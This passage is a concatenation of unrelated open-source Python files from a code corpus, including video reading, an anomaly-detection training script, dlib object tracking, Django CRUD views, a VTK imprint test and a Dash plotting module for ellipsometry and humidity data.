None. ''' ret, frame = self._read() if ret: if self.gray: frame = frame[..., 1][..., None] self.idx += 1 return self.idx - 1, frame else: self.finished = True return None def read_batch(self): ''' Read in a batch of frames. Returns ------- frames_idx: array A batch of frames from the video. frames: array A batch of frames from the video. ''' frames = [] frames_idx = [] for idx in range(self.batch_size): frame = self.read() if frame is not None and not self.finished: frame_idx, frame = frame frames.append(frame) frames_idx.append(frame_idx) empty = len(frames) == 0 if not empty: frames = np.stack(frames) frames_idx = np.array(frames_idx) timestamps = frames_idx * self.timestep return frames, frames_idx, timestamps else: return None def close(self): ''' Close the VideoReader. Returns ------- bool Returns True if successfully closed. ''' self.release() return not self.isOpened() def __len__(self): return int(np.ceil(self.n_frames / float(self.batch_size))) def __getitem__(self, index): if self.finished: raise StopIteration if isinstance(index, (int, np.integer)): idx0 = index * self.batch_size if self.idx != idx0: self.set(cv2.CAP_PROP_POS_FRAMES, idx0 - 1) self.idx = idx0 else: raise NotImplementedError return self.read_batch() def __next__(self): if self.finished: raise StopIteration else: return self.read_batch() def __del__(self): self.close() @property def current_frame(self): return int(self.get(cv2.CAP_PROP_POS_FRAMES)) @property def current_time(self): return self.get(cv2.CAP_PROP_POS_MSEC) @property def percent_finished(self): return self.get(cv2.CAP_PROP_POS_AVI_RATIO) * 100
2.796875
3
chess/__init__.py
Jonxslays/Chess
1
12764292
"""Chess...""" __all__ = ["Game"] __version__ = "0.1.0" __author__ = "Jonxslays" from .game import Game
1.109375
1
setup.py
rpavlik/edid-json-tools
2
12764293
#!/usr/bin/env python3 # Copyright (c) 2019-2021 The EDID JSON Tools authors. All rights reserved. # # SPDX-License-Identifier: BSD-3-Clause # We need this stub of a script to be able to handle `pip install --editable .` import setuptools setuptools.setup()
1.09375
1
anomalydetection.py
RxstydnR/LEA-Net
0
12764294
<reponame>RxstydnR/LEA-Net import os import warnings warnings.simplefilter('ignore') # os.environ["CUDA_VISIBLE_DEVICES"] = "4" os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import gc import argparse import numpy as np import pandas as pd from sklearn.metrics import classification_report,confusion_matrix,f1_score import tensorflow as tf from tensorflow.keras.utils import to_categorical from tensorflow.keras import backend as K from tensorflow.keras.optimizers import Adam from utils import plot_history from data import load_data, exclude_positive, normalize from model.LEANet import VGG16,ResNet18,CNN def preparation(config, X_rgb_train, X_rgb_test, X_att_train, X_att_test, Y_train, Y_test): img_shape=(256,256,3) att_shape=(256,256,1) att_points=config["AttPoint"] X_att_train,X_att_test = normalize(X_att_train),normalize(X_att_test) # Max Normalize X_fit_train = [X_rgb_train, X_att_train] X_fit_test = [X_rgb_test, X_att_test] if config["CAAN"]=="Direct": config["outputs"] = "oneway" Y_fit_train = to_categorical(Y_train,2) Y_fit_test = to_categorical(Y_test,2) else: config["outputs"] = "separate" Y_fit_train = [to_categorical(Y_train,2),to_categorical(Y_train,2)] Y_fit_test = [to_categorical(Y_test,2),to_categorical(Y_test,2)] # Model if config["ADN"]=="VGG16": model = VGG16( img_shape=img_shape, att_shape=att_shape, att_points=att_points, input_method = "none", distil_method = "avg", sigmoid_apply = True, fusion_method = "attention", flat_method = "flat", att_base_model=config["CAAN"], output_method=config["outputs"], ).build() elif config["ADN"]=="ResNet18": model = ResNet18( img_shape=img_shape, att_shape=att_shape, att_points=att_points, input_method = "none", distil_method = "avg", sigmoid_apply = True, fusion_method = "attention", flat_method = "gap", att_base_model=config["CAAN"], output_method=config["outputs"], ).build() elif config["ADN"]=="CNN": model = CNN( img_shape=img_shape, att_shape=att_shape, att_points=att_points, input_method = "none", distil_method = "avg", sigmoid_apply = True, fusion_method = "attention", flat_method = "flat", output_method = config["outputs"] ).build() return (X_fit_train,Y_fit_train),(X_fit_test,Y_fit_test), model def main(): print(f"Path of dataset is {opt.dataset}") n_CV = 5 for i in range(n_CV): # 5-fold CV print(f"{i+1}/{n_CV} fold cross validation") # load data dataset_path = os.path.join(opt.dataset,str(i)) (X_rgb_train,X_rgb_test),(X_att_train,X_att_test),(X_cld_train,X_cld_test),(Y_train,Y_test) = load_data(dataset_path) # Exclude positive data if opt.p_rate < 1.0: before_len_p = len(Y_train[Y_train==1]) print(f"Exclude positive data.") X_rgb_train,X_att_train,Y_train = exclude_positive(X_rgb_train,X_att_train,Y_train,rate_P=opt.p_rate) after_len_p = len(Y_train[Y_train==1]) print(f"From {before_len_p} to {after_len_p}.") # remove unnecessary arrays del X_cld_train del X_cld_test # make a path to result saving folder SAVE_FOLDER = os.path.join(opt.SAVE_PATH,str(i)) os.makedirs(SAVE_FOLDER, exist_ok=True) # set LEA-Net config config={ "AttPoint":[opt.attPoint-1], "ADN":opt.ADN, "CAAN":opt.CAAN, } # get model (X_fit_train,Y_fit_train),(X_fit_test,Y_fit_test), model = preparation(config,X_rgb_train,X_rgb_test,X_att_train,X_att_test,Y_train,Y_test) model.compile(loss="binary_crossentropy", optimizer=Adam(learning_rate=opt.lr), metrics=["accuracy"]) # Training print("Training ...") history = model.fit( X_fit_train, Y_fit_train, batch_size=opt.batchSize, epochs=opt.nEpochs, verbose=2) # Save model model_name = f"ADN-{opt.ADN}_CAAN-{opt.CAAN}" model.save(f'{SAVE_FOLDER}/{model_name}_{i}.h5', include_optimizer=False) # Save history hist_df = pd.DataFrame(history.history) hist_df.to_csv(f'{SAVE_FOLDER}/history_{model_name}_{i}.csv') plot_history(hist_df, path=SAVE_FOLDER, model_name=model_name, fold=i) # Evaluation pred = model.predict(X_fit_test) print("Evaluation ...") if opt.CAAN == "Direct": pred_ADN = np.argmax(pred, axis=1) pred_CAAN = np.zeros_like(pred_ADN) print(f"Confusion Matrix \n{confusion_matrix(Y_test, pred_ADN)}") print(f"Multiple Scores \n{classification_report(Y_test, pred_ADN)}") print(f"F score = {f1_score(Y_test,pred_ADN)}") else: pred_ADN = np.argmax(pred[0], axis=1) pred_CAAN = np.argmax(pred[1], axis=1) print("========== ADN (Anomaly Detection Network) ==========") print(f"Confusion Matrix \n{confusion_matrix(Y_test, pred_ADN)}") print(f"Multiple Scores \n{classification_report(Y_test, pred_ADN)}") print(f"F score = {f1_score(Y_test,pred_ADN)}") print("========== CAAN (Color Anomaly Attention Network) ==========") print(f"Confusion Matrix \n{confusion_matrix(Y_test, pred_CAAN)}") print(f"Multiple Scores \n{classification_report(Y_test, pred_CAAN)}") print(f"F score = {f1_score(Y_test,pred_CAAN)}") # Save predictions and true labels pred_label_df = pd.DataFrame(columns=["pred_ADN","pred_CAAN","true"]) pred_label_df["pred_main"] = pred_ADN pred_label_df["pred_att"] = pred_CAAN pred_label_df["true"] = Y_test pred_label_df.to_csv(f'{SAVE_FOLDER}/prediction_{model_name}_{i}.csv') del model K.clear_session() gc.collect() if __name__ == "__main__": parser = argparse.ArgumentParser(description='---') parser.add_argument('--dataset', required=True, help='path to data folder') parser.add_argument('--SAVE_PATH',required=True, help='path to save folder') parser.add_argument('--p_rate', type=float, default=1.0, help='Ratio of Positive data in the training dataset.') # anomaly detection parser.add_argument('--ADN', type=str, default="VGG16", choices=["VGG16","ResNet18","CNN"], help='Anomaly Detection Network (ADN in the paper).') parser.add_argument('--CAAN', type=str, default="MobileNet", choices=["MobileNet","ResNet","Direct"],help='External Network: Color Anomaly Attention Network (CAAN in the paper).') parser.add_argument('--attPoint', type=int, default=1, choices=[1,2,3,4,5]) parser.add_argument('--batchSize', type=int, default=32, help='Training batch size') parser.add_argument('--nEpochs', type=int, default=100, help='Number of epochs') parser.add_argument('--lr', type=float, default=0.0001, help='Learning Rate for LEA-Net.') opt = parser.parse_args() print(f"ADN is {opt.ADN}") print(f"CAAN is {opt.CAAN}") main()
2.203125
2
tool/runners/cython_aoc-setup.py
TPXP/adventofcode-2019
8
12764295
import os import sys from distutils.core import setup from Cython.Build import cythonize CYTHON_DEBUG = bool(os.getenv('CYTHON_DEBUG', '')) build_dir = sys.argv.pop() script_name = sys.argv.pop() setup( ext_modules=cythonize( script_name, build_dir=build_dir, quiet=not CYTHON_DEBUG, annotate=CYTHON_DEBUG, compiler_directives={"language_level": 3}, ) )
1.71875
2
emulator/utils/helpers.py
Harry45/emuPK
2
12764296
<reponame>Harry45/emuPK # Author: (Dr to be) <NAME> # Collaborators: Prof. <NAME>, Prof. <NAME>, Dr. <NAME> # Email : <EMAIL> # Affiliation : Imperial Centre for Inference and Cosmology # Status : Under Development ''' Important functions to store/load files in a compressed format. ''' import os import numpy as np import dill def save_excel(df, folder_name, file_name): ''' Given a folder name and file name, we will save a pandas dataframe to a excel file. :param: df (pd.DataFrame) - pandas dataframe :param: folder name (str) - name of the folder :param: file name (str) - name of the file output ''' # create the folder if it does not exist if not os.path.exists(folder_name): os.makedirs(folder_name) df.to_excel(excel_writer=folder_name + '/' + file_name + '.xlsx') def load_arrays(folder_name, file_name): ''' Given a folder name and file name, we will load the array :param: folder_name (str) - the name of the folder :param: file_name (str) - name of the file :return: matrix (np.ndarray) - array ''' matrix = np.load(folder_name + '/' + file_name + '.npz')['arr_0'] return matrix def store_arrays(array, folder_name, file_name): ''' Given an array, folder name and file name, we will store the array in a compressed format. :param: array (np.ndarray) - array which we want to store :param: folder_name (str) - the name of the folder :param: file_name (str) - name of the file ''' # create the folder if it does not exist if not os.path.exists(folder_name): os.makedirs(folder_name) # use compressed format to store data np.savez_compressed(folder_name + '/' + file_name + '.npz', array) def load_pkl_file(folder_name, file_name): ''' Given a folder name and a file name, we will load the Python class. For example, a full GP module :param: folder_name (str) - the name of the folder :param: file_name (str) - name of the file :return: module (Python class) : complete module or it can be EMCEE full module ''' with open(folder_name + '/' + file_name + '.pkl', 'rb') as f: module = dill.load(f) return module def store_pkl_file(module, folder_name, file_name): ''' Given a trained GP (module), we will save it given a folder name and a file name :param: module (python class) - for example, the GP module :param: folder_name (str) - the name of the folder :param: file_name (str) - name of the file ''' # create the folder if it does not exist if not os.path.exists(folder_name): os.makedirs(folder_name) # store the module using dill with open(folder_name + '/' + file_name + '.pkl', 'wb') as f: dill.dump(module, f)
3.828125
4
object_tracking.py
olubiyiontheweb/object_tracking_video
0
12764297
<gh_stars>0 import dlib import cv2 import numpy as np video = cv2.VideoCapture("people.mp4") if video.isOpened() == False: print("Error opening video") check, frame = video.read() if check == False: print("Cannot read video") cv2.imshow("first frame", frame) cv2.waitKey(0) bbox = cv2.selectROI(frame) cv2.destroyAllWindows rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert bbox to Dlib rectangle (topLeftX, topLeftY, w, h) = bbox bottomRightX = topLeftX + w bottomRightY = topLeftY + h dlibRect = dlib.rectangle(topLeftX, topLeftY, bottomRightX, bottomRightY) # Create tracker tracker = dlib.correlation_tracker() # Initialize tracker tracker.start_track(rgb, dlibRect) # Create a new window where we will display the results cv2.namedWindow("Tracker") # Display the first frame cv2.imshow("Tracker", frame) count = 0 while True: check, frame = video.read() if check == False: print("video cannot be read here") break # Convert frame to RGB rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Update tracker tracker.update(rgb) count = count + 1 objectPosition = tracker.get_position() topLeftX = int(objectPosition.left()) topLeftY = int(objectPosition.top()) bottomRightX = int(objectPosition.right()) bottomRightY = int(objectPosition.bottom()) # Create bounding box cv2.rectangle(frame, (topLeftX, topLeftY), (bottomRightX, bottomRightY), (0, 0, 255), 2) # Display frame cv2.imshow("Tracker", frame) # print(str(video.get(cv2.CAP_PROP_FRAME_COUNT))) key = cv2.waitKey(2) if key == ord('q'): break elif key == ord('s'): cv2.imwrite( "obj_track"+str(count)+".jpg", frame) print("Frame Saved") cv2.destroyAllWindows()
2.9375
3
core/vtuber.py
zihochann/zihou
0
12764298
<gh_stars>0 from django.template import loader from core.models import Vtuber BILI_PREFIX = 'https://space.bilibili.com/' def get_bilibili_url(bili_id: str): return 'https://space.bilibili.com/{}/'.format(bili_id) if len(bili_id) >\ 0 else '' def render_vtbs(request): def generate_row(vtb): # Check the twitter is empty or not. if len(vtb.twitter) == 0: twitter = '' else: twitter = '<a href="https://twitter.com/{}">@{}</a>'.format( vtb.twitter, vtb.twitter) if len(vtb.bili_id) == 0: bili = '' else: bili_link = get_bilibili_url(vtb.bili_id) bili = '<a href="{}">{}</a>'.format(bili_link, bili_link) return ['<tr>', '<td>{}</td>'.format(vtb.name), '<td>{}</td>'.format(twitter), '<td>{}</td>'.format(bili), '<td><a class="btn-a" href="/vtbedit/?name={}">編集</a> <a ' 'class="btn-a" href="#" onclick="removeVtuber(\'{}\');">削除</td>'.format( vtb.name, vtb.name), '</tr>'] vtb_list = [] for vtuber in Vtuber.objects.all(): vtb_list += generate_row(vtuber) return loader.render_to_string('vtb_list.html', {'vtblist': '\n'.join(vtb_list)}, request) def render_vtb_edit(request, name='', twitter='', bili=BILI_PREFIX): return loader.render_to_string('vtb_edit_panel.html', {'vtbname': name, 'vtbtwitter': twitter, 'vtbbili': bili}, request) def render_add_vtb(request): return loader.render_to_string('vtb_editor.html', {'vtbedit': render_vtb_edit(request), 'originalname': '', 'buttonname': '出席者を追加する', 'buttonaction': 'addVtuber();', 'title': '新しい出席者を登録する'}, request) def vtb_checkboxs(selected=[]): def html_code(label: str, id: int, checked): return [ '<div class="form-check form-check-inline">', ' <input class="form-check-input" type="checkbox" id="vtb{}" ' 'value="{}"{}>'.format(id, label, ' checked' if checked else ''), ' <label class="form-check-label" for="vtb{}">{}</label>'.format(id, label), '</div>'] box_codes = [] vtb_counter = 0 for ii, vtb in enumerate(Vtuber.objects.all()): box_codes += html_code(vtb.name, ii, vtb.name in selected) vtb_counter = ii return '\n'.join(box_codes), vtb_counter def render_edit_vtb(request): target = Vtuber.objects.filter(name=request.GET.get('name')) if not target.exists(): return None target = target.first() # Render the target edit widget. bili_url = get_bilibili_url(target.bili_id) if bili_url == '': bili_url = BILI_PREFIX return loader.render_to_string('vtb_editor.html', {'title': '出席者を編集', 'originalname': target.name, 'buttonname': '出席者を編集する', 'buttonaction': 'editVtuber();', 'vtbedit': render_vtb_edit( request, target.name, target.twitter, bili_url)}, request) def extract_bili_id(src: str): if not src.startswith(BILI_PREFIX): return '' # Now we have to parse it. src = src[len(BILI_PREFIX):] # Find the first character which is not number. for ii in range(len(src)): if not src[ii].isnumeric(): return src[:ii] return src def remove_vtuber(request): # Find the target. target = Vtuber.objects.filter(name=request.POST.get('name')) if target.exists(): target.first().delete() return {'status': 'ok'} def edit_vtuber(request): origin_name = request.POST.get('origin') # Find the target. target = Vtuber.objects.filter(name=origin_name) if not target.exists(): return {'status': 'error', 'info': 'not existed.'} target = target.first() # Now change the content. update_name = request.POST.get('name') # Extract the bilibili id update_bili_id = extract_bili_id(request.POST.get('bilibili')) if update_name != origin_name: # Check whether the update name existed. update_check = Vtuber.objects.filter(name=update_name) if update_check.exists(): return {'status': 'error', 'info': '{}はすでに存在しています。'.format( update_name)} # Remove the original data. target.delete() # Create a new one. Vtuber.objects.create(name=update_name, twitter=request.POST.get('twitter'), bili_id=update_bili_id) else: # Okay, now it is free to update. target.twitter=request.POST.get('twitter') target.bili_id=update_bili_id target.save() # Done. return {'status': 'ok'} def add_vtuber(request): # First we check the bilibili url. vtb_bili_id = extract_bili_id(request.POST.get('bilibili')) # Fetch the name and twitter id. vtb_name = request.POST.get('name') if len(vtb_name) == 0: return {'status': 'error', 'info': '名前がありません。'} vtb_twitter = request.POST.get('twitter') # Check whether existed before. exist_check = Vtuber.objects.filter(name=vtb_name) if exist_check.exists(): return {'status': 'error', 'info': '{}はすでに存在しています。'.format( vtb_name)} # Create the model. Vtuber.objects.create(name=vtb_name, twitter=vtb_twitter, bili_id=vtb_bili_id) return {'status': 'ok'}
2.1875
2
algorithms/sorting/quick_sort.py
ramarajesh2112/algorithms
1
12764299
""" quick_sort.py Implementation of quick sort on a list and returns a sorted list. Quick Sort Overview: ------------------------ Uses partitioning to recursively divide and sort the list Time Complexity: O(n**2) worst case Space Complexity: O(n**2) this version Stable: No Psuedo Code: CLRS. Introduction to Algorithms. 3rd ed. """ def sort(seq): if len(seq) < 1: return seq else: pivot = seq[0] left = sort([x for x in seq[1:] if x < pivot]) right = sort([x for x in seq[1:] if x >= pivot]) return left + [pivot] + right
3.984375
4
galaxy_common/models/namespace.py
alikins/galaxy-common-deprecated
0
12764300
# (c) 2012-2019, Ansible by Red Hat # # This file is part of Ansible Galaxy # # Ansible Galaxy is free software: you can redistribute it and/or modify # it under the terms of the Apache License as published by # the Apache Software Foundation, either version 2 of the License, or # (at your option) any later version. # # Ansible Galaxy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # Apache License for more details. # # You should have received a copy of the Apache License # along with Galaxy. If not, see <http://www.apache.org/licenses/>. import logging from django.conf import settings from django.db import models from django.urls import reverse from .base import CommonModel # from .content import Content log = logging.getLogger(__name__) class Namespace(CommonModel): """ Represents the aggregation of multiple namespaces across providers. """ class Meta: ordering = ('name',) owners = models.ManyToManyField( settings.AUTH_USER_MODEL, related_name='namespaces', editable=True, ) avatar_url = models.CharField( max_length=256, blank=True, null=True, verbose_name="Avatar URL" ) location = models.CharField( max_length=256, blank=True, null=True, verbose_name="Location" ) company = models.CharField( max_length=256, blank=True, null=True, verbose_name="Company Name" ) email = models.CharField( max_length=256, blank=True, null=True, verbose_name="Email Address" ) html_url = models.CharField( max_length=256, blank=True, null=True, verbose_name="Web Site URL" ) is_vendor = models.BooleanField(default=False) def get_absolute_url(self): return reverse('api:v1:namespace_detail', args=(self.pk,)) @property def content_counts(self): # FIXME: just stubbed out until COntent is a thing return 31 # return Content.objects \ # .filter(namespace=self.pk) \ # .values('content_type__name') \ # .annotate(count=models.Count('content_type__name')) \ # .order_by('content_type__name') def is_owner(self, user): log.warning('Namespace.is_owner is stubbed. FIXME! user=%s', user) return True # return self.owners.filter(pk=user.pk).exists()
1.882813
2
Filters/Modeling/Testing/Python/TestImprintFilter.py
cclauss/VTK
1,755
12764301
<reponame>cclauss/VTK<gh_stars>1000+ #!/usr/bin/env python import vtk # A simpler imprint test. One plane # imprints a second plane. # Control the resolution of the test res = 2 # Create the RenderWindow, Renderer # ren = vtk.vtkRenderer() renWin = vtk.vtkRenderWindow() renWin.AddRenderer( ren ) iren = vtk.vtkRenderWindowInteractor() iren.SetRenderWindow(renWin) # Use two plane sources: # one plane imprints on the other plane. # plane1 = vtk.vtkPlaneSource() plane1.SetXResolution(3) plane1.SetYResolution(1) plane1.SetOrigin(0,0,0) plane1.SetPoint1(2,0,0) plane1.SetPoint2(0,1,0) p1Mapper = vtk.vtkPolyDataMapper() p1Mapper.SetInputConnection(plane1.GetOutputPort()) p1Actor = vtk.vtkActor() p1Actor.SetMapper(p1Mapper) p1Actor.GetProperty().SetRepresentationToSurface() plane2 = vtk.vtkPlaneSource() plane2.SetXResolution(res) plane2.SetYResolution(res) plane2.SetOrigin(-0.25,0.25,0) plane2.SetPoint1(1.5,0.25,0) plane2.SetPoint2(-0.25,0.75,0) p2Mapper = vtk.vtkPolyDataMapper() p2Mapper.SetInputConnection(plane2.GetOutputPort()) p2Actor = vtk.vtkActor() p2Actor.SetMapper(p2Mapper) p2Actor.GetProperty().SetRepresentationToSurface() # Now imprint imp = vtk.vtkImprintFilter() imp.SetTargetConnection(plane1.GetOutputPort()) imp.SetImprintConnection(plane2.GetOutputPort()) imp.SetTolerance(0.00001) imp.Update() mapper = vtk.vtkPolyDataMapper() mapper.SetInputConnection(imp.GetOutputPort()) actor = vtk.vtkActor() actor.SetMapper(mapper) actor.GetProperty().SetRepresentationToSurface() # Create the RenderWindow, Renderer # ren1 = vtk.vtkRenderer() ren1.SetBackground(0.1,0.2,0.4) ren1.SetViewport(0,0,0.5,1.0) ren2 = vtk.vtkRenderer() ren2.SetBackground(0.1,0.2,0.4) ren2.SetViewport(0.5,0,1.0,1.0) renWin = vtk.vtkRenderWindow() renWin.AddRenderer( ren1 ) renWin.AddRenderer( ren2 ) renWin.SetSize(600,300) iren = vtk.vtkRenderWindowInteractor() iren.SetRenderWindow(renWin) ren1.AddActor(p1Actor) ren1.AddActor(p2Actor) ren1.ResetCamera() ren2.AddActor(actor) ren2.SetActiveCamera(ren1.GetActiveCamera()) renWin.Render() iren.Start()
2.0625
2
modules/OfficialBERT.py
benywon/ComQA
15
12764302
<reponame>benywon/ComQA # -*- coding: utf-8 -*- """ @Time : 2021/1/14 下午5:21 @FileName: OfficialBERT.py @author: 王炳宁 @contact: <EMAIL> """ import torch import torch.nn as nn from transformers import AutoModel from torch.nn import functional as F from utils import load_file class OfficialBERT(nn.Module): def __init__(self, indicator=80): super().__init__() self.encoder = AutoModel.from_pretrained("bert-base-chinese", mirror='https://mirrors.bfsu.edu.cn/hugging-face-models/') self.n_hidden = self.encoder.config.hidden_size self.prediction = nn.Sequential( nn.Linear(self.n_hidden, self.n_hidden // 2), nn.Tanh(), nn.Linear(self.n_hidden // 2, 1), ) self.node_indicator = indicator def forward(self, inputs): [seq, label] = inputs representations = self.encoder(seq)[0] mask_idx = torch.eq(seq, self.node_indicator) hidden = representations.masked_select(mask_idx.unsqueeze(2).expand_as(representations)).view( -1, self.n_hidden) answer_logit = self.prediction(hidden).squeeze(1) if label is None: return torch.sigmoid(answer_logit) return F.binary_cross_entropy_with_logits(answer_logit, label)
2.6875
3
examples/hello_world.py
Popeyef5/Cassandra
3
12764303
#!/usr/bin/env python3 if __name__ == '__main__': from cassandra.rockets import RandomRocket from cassandra.simulation import Simulation from cassandra.physics.integrators import RK4 SIM_TIME = 8 SIM_TIMESTEP = 0.01 rocket = RandomRocket() integrator = RK4() simulation = Simulation(rocket, integrator) simulation.run(SIM_TIME, SIM_TIMESTEP) simulation.animate()
2.171875
2
ex056.py
heltonsdl/python-3---curso-em-video
0
12764304
somaidade = 0 mediaidade = 0 nomehomem = '' idadehomem = 0 totmulher20 = 0 ''' Desenvolva um programa que leia o nome, idade e sexo de 4 pessoas. No final do programa, mostre: a média de idade do grupo, qual é o nome do homem mais velho e quantas mulheres têm menos de 20 anos.''' for p in range (1,5): print('=========== {}° PESSOA ==============='.format(p)) nome = str(input('Escreva o seu nome: ')) idade = int(input('Escreva a sua idade: ')) sexo = str(input(' Sexo: [F/M]: ')) somaidade += idade mediaidade = somaidade / 4 if p == 1 and sexo in 'Mm': nomehomem = nome idadehomem = idade if sexo in 'mM' and idade > idadehomem: idadehomem = idade nomehomem = nome if sexo in 'fF' and idade < 20: totmulher20+= 1 print (' A idade do homem mais velho é {} e o seu nome é {}'.format(idadehomem, nomehomem)) print(' A media de idade do grupo é de {}.'.format(mediaidade)) print (' O total de mulher com menos de 20 anos é {}.'.format(totmulher20))
3.84375
4
Lab_Dash/dash_plot_SEL_compare.py
SimonSchubotz/Electronic-Laboratory-Notebook
0
12764305
<reponame>SimonSchubotz/Electronic-Laboratory-Notebook<filename>Lab_Dash/dash_plot_SEL_compare.py import json import glob, os import dash import datetime import dash_core_components as dcc import dash_html_components as html from dash.dependencies import Input, Output import plotly.express as px from django_plotly_dash import DjangoDash from django.apps import apps import plotly.graph_objects as go from Lab_Misc.General import * from dbfread import DBF import pandas as pd from django.http import HttpResponse from django.utils import timezone import numpy as np import time from Exp_Main.models import SEL from Exp_Sub.models import LSP from plotly.subplots import make_subplots from Lab_Misc import General def conv(x): return x.replace(',', '.').encode() def Gen_dash(dash_name): class Gen_fig(): def load_data(self, target_id): try: entry = SEL.objects.get(id = target_id) self.entry = entry file = os.path.join( rel_path, entry.Link_XLSX) df = pd.read_excel(file, 'Tabelle1') new_vals = df[df>1]/1000000#correct for wrong format Curr_Dash = self.entry.Dash df.update(new_vals) self.data = df self.data["Time (min.)"] = Curr_Dash.Start_datetime_elli + pd.TimedeltaIndex(self.data["Time (min.)"], unit='m') self.data["Time (min.)"] = self.data["Time (min.)"].dt.tz_convert(timezone.get_current_timezone()) return_str = 'The following data could be loaded: Ellisometry' self.sub_data, return_str_sub = self.get_subs() return_str += return_str_sub os.chdir(cwd) return True, return_str except: return False, 'No data found!' def has_sub(self): try: #Sub_Exp = self.entry.Sub_Exp.all() #print(Sub_Exp) #self.get_subs() return True except: return False def get_subs(self): Sub_Exps = self.entry.Sub_Exp.all() Sub_Exps_dic = {} return_str = '' for Sub_Exp in Sub_Exps: Device = Sub_Exp.Device model = apps.get_model('Exp_Sub', str(Device.Abbrev)) Exp_in_Model = model.objects.get(id = Sub_Exp.id) if Device.Abbrev == 'MFL': Gas = Exp_in_Model.Gas.first() if Gas.Name == 'H2O': MFL_H2O_data = self.get_sub_csv(Exp_in_Model) MFL_H2O_data['Date_Time'] = pd.to_datetime(MFL_H2O_data['Date_Time'], format='%d.%m.%Y %H:%M:%S', errors="coerce") MFL_H2O_data['Date_Time'] = MFL_H2O_data['Date_Time'].dt.tz_localize(timezone.get_current_timezone()) Sub_Exps_dic.update(MFL_H2O_data = MFL_H2O_data) return_str += ', massflow of water stream' if Gas.Name == 'N2': MFL_N2_data = self.get_sub_csv(Exp_in_Model) MFL_N2_data['Date_Time'] = pd.to_datetime(MFL_N2_data['Date_Time'], format='%d.%m.%Y %H:%M:%S', errors="coerce") MFL_N2_data['Date_Time'] = MFL_N2_data['Date_Time'].dt.tz_localize(timezone.get_current_timezone()) Sub_Exps_dic.update(MFL_N2_data = MFL_N2_data) return_str += ', massflow of nitrogen stream' if Device.Abbrev == 'HME': for pos_env in Exp_in_Model.PossibleEnvironments: if pos_env[0] == Exp_in_Model.Environments: if pos_env[1] == 'Cell': Humidity_data = self.get_sub_dbf(Exp_in_Model) Humidity_data['UHRZEIT'] = pd.to_datetime(Humidity_data['DATUM'] + Humidity_data['UHRZEIT'], format='%d.%m.%Y %H:%M:%S', errors="coerce") Humidity_data['UHRZEIT'] = Humidity_data['UHRZEIT'].dt.tz_localize(timezone.get_current_timezone()) Sub_Exps_dic.update(HME_data = Humidity_data) return_str += ', humidity measurements' return Sub_Exps_dic, return_str def get_sub_dbf(self, model): file = os.path.join( rel_path, model.Link) table = DBF(file, load=True) df = pd.DataFrame(iter(table)) return df def get_sub_csv(self, model): file = os.path.join( rel_path, model.Link) #file_name = file[get_LastIndex(file, '\\')+1:get_LastIndex(file, '.')] df = pd.read_csv(file, sep=';', error_bad_lines=False, decimal = ',', parse_dates=[['Date', 'Time']])#skips bad lines return df def slice_data(self, data): DashTab = self.entry.Dash if isinstance(DashTab.CA_high_degree, float): slice_CA_high = (data['CA_L']<DashTab.CA_high_degree) & (data['CA_R']<DashTab.CA_high_degree) data = data[slice_CA_high] if isinstance(DashTab.CA_low_degree, float): slice_CA_low = (data['CA_L']>DashTab.CA_low_degree) & (data['CA_R']>DashTab.CA_low_degree) data = data[slice_CA_low] if isinstance(DashTab.BD_high_mm, float): slice_BD = (data['BI_left']<DashTab.BD_high_mm) & (data['BI_right']<DashTab.BD_high_mm) data = data[slice_BD] if isinstance(DashTab.BD_low_mm, float): slice_BD = (data['BI_left']>DashTab.BD_low_mm) & (data['BI_right']>DashTab.BD_low_mm) data = data[slice_BD] if isinstance(DashTab.Time_high_sec, float): slice_time = data['Age']<DashTab.Time_high_sec data = data[slice_time] if isinstance(DashTab.Time_low_sec, float): slice_time = data['Age']>DashTab.Time_low_sec data = data[slice_time] return data def CA_Time(self): fig = go.Figure() fig.add_trace(go.Scattergl(x=self.data['Time (min.)'], y=self.data['Thickness # 3'], mode='markers', name='CA left') ) return fig def CA_BD(self): fig = go.Figure() fig.add_trace(go.Scattergl(x=self.data['BD'], y=self.data['CA_L'], mode='markers', name='CA left') ) fig.add_trace(go.Scattergl(x=self.data['BD'], y=self.data['CA_R'], mode='markers', name='CA right') ) fig.add_trace(go.Scattergl(x=self.data['BD'], y=self.data['CA_M'], mode='markers', name='CA average') ) fig.update_layout( xaxis_title='Base diameter [mm]', yaxis_title='Contact angle [°]') return fig def Plot_3(self): Humidity_data = self.sub_data['HME_data'] start_date = self.data['Time (min.)'][0] end_date = self.data['Time (min.)'][len(self.data)-1] date = start_date time_step = datetime.timedelta(seconds = 15) thickness = [] humidities = [] times = [] while(date<end_date): thicknes = np.mean(self.data['Thickness # 3'][(self.data['Time (min.)']<date+time_step)&(self.data['Time (min.)']>date)]) thickness.append(thicknes) humidity = np.mean(Humidity_data['CHN1RH'][(Humidity_data['UHRZEIT']<date+time_step)&(Humidity_data['UHRZEIT']>date)]) humidities.append(humidity) times.append(date) date = date + time_step self.cal_dat = pd.DataFrame(times, columns = ['times']) self.cal_dat["times"] = self.cal_dat["times"].dt.tz_convert('UTC')#time already shifted self.cal_dat ['thickness'] = thickness self.cal_dat ['humidities'] = humidities def get_figure(df, x_col, y_col, selectedpoints, selectedpoints_local): if selectedpoints_local and selectedpoints_local['range']: ranges = selectedpoints_local['range'] selection_bounds = {'x0': ranges['x'][0], 'x1': ranges['x'][1], 'y0': ranges['y'][0], 'y1': ranges['y'][1]} else: selection_bounds = {'x0': np.min(df[x_col]), 'x1': np.max(df[x_col]), 'y0': np.min(df[y_col]), 'y1': np.max(df[y_col])} # set which points are selected with the `selectedpoints` property # and style those points with the `selected` and `unselected` # attribute. see # https://medium.com/@plotlygraphs/notes-from-the-latest-plotly-js-release-b035a5b43e21 # for an explanation fig = px.scatter(df, x=df[x_col], y=df[y_col], text=df.index) fig.update_traces(selectedpoints=selectedpoints, customdata=df.index, mode='markers+text', marker={ 'color': 'rgba(0, 116, 217, 0.7)', 'size': 5 }, unselected={'marker': { 'color': 'rgba(200, 116, 0, 0.1)', 'size': 5 }, 'textfont': { 'color': 'rgba(0, 0, 0, 0)' }}) fig.update_layout(margin={'l': 20, 'r': 0, 'b': 15, 't': 5}, dragmode='select', hovermode=False) fig.add_shape(dict({'type': 'rect', 'line': { 'width': 1, 'dash': 'dot', 'color': 'darkgrey' }}, 